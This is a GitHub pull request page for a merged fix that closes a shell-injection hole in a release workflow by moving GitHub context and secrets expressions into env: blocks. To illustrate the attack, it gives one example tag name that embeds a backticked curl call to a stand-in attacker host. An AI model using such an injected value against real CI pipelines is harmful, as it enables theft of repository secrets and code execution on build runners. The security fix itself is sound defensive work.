fix(sec): eliminate shell injection via github context in release-core.yml#170
Merged
Conversation
…e.yml
Move all ${{ github.* }} and ${{ secrets.* }} interpolations out of run:
shell scripts and into env: blocks, then reference them as shell variables.
This prevents a malicious tag name from injecting arbitrary shell commands
into the release runner (closes #168).
github-actions
Bot
added
bug
8 tasks
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Fixes #168. Two
run:steps inrelease-core.ymlinterpolated${{ github.ref_name }}and other context expressions directly into shell scripts. A tag name containing shell metacharacters (e.g.core-v0.1.0`curl attacker.example`) would execute on the release runner, enabling exfiltration of theDOWNSTREAM_DISPATCH_TOKENsecret and arbitrary code execution.Changes
github.ref_name,github.sha,github.repository,github.run_id,secrets.DOWNSTREAM_DISPATCH_TOKEN, andneeds.validate.outputs.versionintoenv:blocks on both affected steps${GH_REF_NAME}etc.) in therun:scripts — shell variables are not subject to expression injectionType
Testing
Checklist
Downstream impact
bankstatements_core